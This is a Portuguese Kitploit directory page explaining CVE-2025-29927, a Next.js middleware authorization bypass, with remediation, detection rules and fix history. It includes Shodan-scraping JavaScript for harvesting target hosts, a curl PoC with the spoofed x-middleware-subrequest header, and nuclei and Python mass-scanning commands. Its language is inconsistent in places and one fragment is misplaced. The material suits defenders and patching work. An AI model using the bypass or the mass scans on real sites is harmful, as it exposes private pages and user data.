Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-29927 | Kitploit
Ferramentas/GitHubGitHub/sdrtba/cve-2025-29927
Autenticação e AutorizaçãoAnálise de VulnerabilidadesEvasão de IDS/IPSExploração de Aplicações WebTestes de PenetraçãoAprendizado e Educação
GitHubsdrtba/cve-2025-29927

CVE-2025-29927

Ver Repositório
há 11 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2025-29927 — Next.js (middleware authorization bypass)

Resumo: vulnerabilidade no middleware do Next.js que permite contornar verificações de autorização por meio da falsificação do cabeçalho x-middleware-subrequest.


Conteúdo

  • CVE-2025-29927 — Next.js (middleware authorization bypass)
    • Conteúdo
    • Coleta de hosts vulneráveis
    • Mais informações
    • Descrição resumida
    • Detalhes da vulnerabilidade
    • Enumeração de Fraquezas CWE
    • Impacto e riscos adicionais
    • Versões afetadas
    • CVSS e métricas
    • PoC — reprodução segura localmente
    • Verificação em massa com nuclei, Python
      • Nuclei
      • Scanner Python (arquitetura)
    • Mitigação / Remediação
    • Detection / SIEM / regras de IDS
    • Detecção e verificação em massa (Scanning & Detection)
    • Recursos e links

Coleta de hosts vulneráveis

Executei uma busca no Shodan usando o filtro http.headers:"x-middleware-rewrite" e peguei uma lista de 1000 domínios

var ipElements=document.querySelectorAll('strong'),ips=[],domains=[];ipElements.forEach(function(e){var t=e.innerHTML.replace(/['"]/g,'').trim();/^(\d{1,3}.){3}\d{1,3}$/.test(t)?ips.push(t):/^(?!\d+.)[a-zA-Z0-9.-]+.[a-zA-Z]{2,}$/.test(t)&&domains.push(t)});var dataString='IPs:\n'+ips.join('\n')+'\n\nDomains:\n'+domains.join('\n'),a=document.createElement('a');a.href='data:text/plain;charset=utf-8,'+encodeURIComponent(dataString);a.download='domains.txt';document.body.appendChild(a);a.click();

var ipElements=document.querySelectorAll('strong');var ips=[];ipElements.forEach(function(e){ips.push(e.innerHTML.replace(/["']/g,''))});var ipsString=ips.join('\n');var a=document.createElement('a');a.href='data:text/plain;charset=utf-8,'+encodeURIComponent(ipsString);a.download='ip.txt';document.body.appendChild(a);a.click();


Mais informações

  1. Contexto e histórico Nas versões iniciais, o middleware do Next.js podia fazer chamadas internas (sub-requests) para a própria aplicação. Para evitar recursão, o framework introduzia cabeçalhos HTTP internos — marcadores que indicavam “esta requisição já foi processada”. Essa abordagem era prática e evitava loops infinitos dentro do pipeline do middleware.

  2. Evolução do middleware e payloads Antes do Next.js 12.2, os middlewares ficavam como _middleware dentro de pages/ e podiam ser aninhados (pages/_middleware, pages/dashboard/_middleware, etc.). O payload podia indicar um caminho específico (x-middleware-subrequest: pages/dashboard/_middleware). A partir do 12.2, os middlewares passaram a ser nomeados middleware.js/ts e deixaram de viver em pages/. Nesse caso, um payload simples x-middleware-subrequest: middleware (ou src/middleware ao usar src/) geralmente funcionava. Versões posteriores (≥ 13.2.0) introduziram verificações adicionais, incluindo MAX_RECURSION_DEPTH; em alguns bypasses usavam valores repetidos como para simular uma cadeia aninhada. Na prática: o formato exato do payload depende da versão do Next.js e da estrutura do projeto.


Descrição resumida

  • CVE: CVE-2025-29927
  • Produto: Next.js (Vercel)
  • Resumo: o middleware que implementa autorização confia indevidamente no flag interno x-middleware-subrequest. Um cliente externo pode definir esse cabeçalho e contornar as verificações de acesso.
  • Data de publicação (NVD): 21 de março de 2025.
  • CNA: GitHub, Inc.

Detalhes da vulnerabilidade

  • Descrição: o erro está no fato de o middleware do Next.js confiar no marcador interno x-middleware-subrequest ao decidir sobre o acesso. O campo foi originalmente destinado a operações internas do framework, mas requisições externas podem definir esse cabeçalho, permitindo contornar a autorização.
  • Causa da vulnerabilidade: lógica de autorização incorreta/insegura — confiança em um cabeçalho de entrada.
  • Condições de exploração: a aplicação web usa apenas middleware para autorização; a aplicação usa versões vulneráveis do Next.js.

Enumeração de Fraquezas CWE

  • CWE-863: Incorrect Authorization — primária
    • Evidence: o middleware confiava no cabeçalho 'x-middleware-subrequest' e deixava passar requisições sem validação adicional.
  • CWE-285: Improper Authorization — secundária
    • Evidence: ausência de autenticação/autorização confiável para o fluxo somente interno.

Impacto e riscos adicionais

  • Impacto: o bypass de autorização dá acesso a páginas/dados privados, possibilidade de escalonamento (dependendo da aplicação), comprometimento de dados do usuário.
  • Risco adicional: CPDoS (Cache-Poisoned DoS): a vulnerabilidade pode permitir manipular o cache de CDN/edge (por exemplo, se subrequests internos marcam recursos como privados/públicos), levando a envenenamento de cache e potencial indisponibilidade ou divulgação de dados.
  • Exemplos de consequências: vazamento de PII, bypass de lógica de negócios, sessões comprometidas, interferência no roteamento da aplicação.

Versões afetadas

Os seguintes intervalos de versões são vulneráveis:

  • >= 11.1.4 e < 12.3.5
  • >= 13.0.0 e < 13.5.9
  • >= 14.0.0 e < 14.2.25
  • >= 15.0.0 e < 15.2.3

CVSS e métricas

  • Base Score: 9.1 (CRITICAL)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
  • Temporal: E:P (PoC) * RL:O (correção oficial) * RC:C (confirmado) = 8.2 (Temporal Score aproximado).

PoC — reprodução segura localmente

  1. Suba o demo vulnerável:
root@kitploit:~
git clone https://github.com/<author>/vulnerable-nextjs-demo.git
cd vulnerable-nextjs-demo
npm install
npm run dev
  1. PoC simples somente leitura (curl):
root@kitploit:~
# без заголовка — ожидаем отказ (302/307/401/403)
curl -si http://localhost:3000/protected | head -n 20

# с поддельным заголовком — если уязвимо, вернёт 200 + тело
curl -si -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \ http://localhost:3000/protected | head -n 20

Verificação em massa com nuclei, Python

Nuclei

  • Passive template: verificação de fingerprint (/_next/static/, package.json, headers, favicon hash) — modo seguro.
  • Active template: envia GET com x-middleware-subrequest e compara a resposta. É obrigatório usar rate-limit e throttle.

Comando para execução (exemplo):

root@kitploit:~
# passive
nuclei -t cves/2025/CVE-2025-29927-passive.yaml -l targets.txt

# active (контролируемо)
nuclei -t cves/2025/CVE-2025-29927-active.yaml -l targets.txt -c 10 -rate-limit 20

Scanner Python (arquitetura)

  • Algoritmo: para cada host, obter a resposta base (sem cabeçalho) → repetir com o cabeçalho x-middleware-subrequest → comparar status e corpo.
  • Opções obrigatórias: --concurrency, --delay, --dry-run, --respect-robots.
  • Use aiohttp / asyncio para alta performance.

Pseudo-código curto:

root@kitploit:~
async def probe(url):
    r1 = await session.get(url)
    r2 = await session.get(url, headers={"x-middleware-subrequest": "1"})
    if significant_difference(r1, r2):
        report_vulnerable(url)

Mitigação / Remediação

  1. Primary: atualizar o Next.js para a versão corrigida:
    • >= 12.3.5, >= 13.5.9, >= 14.2.25, >= 15.2.3.
  2. Quick-fix (edge/proxy): remover/limpar o cabeçalho x-middleware-subrequest na borda:
  3. App changes: eliminar a dependência da autorização em cabeçalhos de entrada; apoiar-se em JWT/tokens de sessão/validação no servidor.
  4. Detection: adicionar log e regra no SIEM/IDS: alertar em requisições externas com x-middleware-subrequest e verificar a origem.

Detection / SIEM / regras de IDS

Exemplos de regras/alertas:

  • SIEM: alertar em requisições de entrada com x-middleware-subrequest, se source.ip não estiver em trusted_proxies.

  • Suricata (pseudocódigo):

root@kitploit:~
alert http any any -> any any (msg:"External request with X-Middleware-Subrequest"; http.header; content:"x-middleware-subrequest"; sid:1000001; rev:1;)

Detecção e verificação em massa (Scanning & Detection)

  • Passive (nuclei / fingerprint): use o template nuclei do projectdiscovery/nuclei-templates para CVE-2025-29927 (verificação por fingerprint: /_next/static/, package.json, headers, favicon hash). Nenhuma exploração — seguro.
  • Active (nuclei): template cauteloso que envia GET com o cabeçalho x-middleware-subrequest e verifica a diferença na resposta (body/status). Throttle e rate-limit são obrigatórios.
  • Script Python/Go (multithreaded):
    • estratégia: para cada host → obter baseline sem cabeçalho → repetir com o cabeçalho → comparar.
    • safety: delay, per-host cooldown, opções --dry-run e --respect-robots.
  • Regra SIEM/IDS (exemplo):
root@kitploit:~
alert if request.headers contains "x-middleware-subrequest" AND source.ip not in trusted_proxies

Recursos e links

  • NVD / CVE-2025-29927 (NVD entry) — para versões e CVSS;
  • GitHub Advisory / Vercel advisory — para patches;
  • Repositórios de PoC (substitua pelos URLs reais):
    • https://github.com/<author>/CVE-2025-29927-POC
    • https://github.com/<author>/vulnerable-nextjs-demo
  • ProjectDiscovery / nuclei-templates — template da CVE-2025-29927.
Baixar ferramenta
middleware:middleware:...
  • Histórico da correção e o problema com x-middleware-subrequest-id O patch rápido inicial incluía a ideia de um identificador interno — x-middleware-subrequest-id — gerado e validado em runtime para distinguir subrequests internos válidos de falsificações. No entanto, a implementação mostrou um efeito colateral: esse ID interno podia vazar para fora (indo parar em fetch/requisições de saída), criando um novo risco. Além disso, a assinatura/sincronização dos identificadores se mostrou não confiável com múltiplos CDN/PoP e runtimes mistos (Edge vs Node). Como resultado, o código com x-middleware-subrequest-id foi removido/refeito; a solução final é uma combinação de patches no Next.js e mitigações de plataforma (filtragem de cabeçalhos internos de entrada no nível de ingress/edge).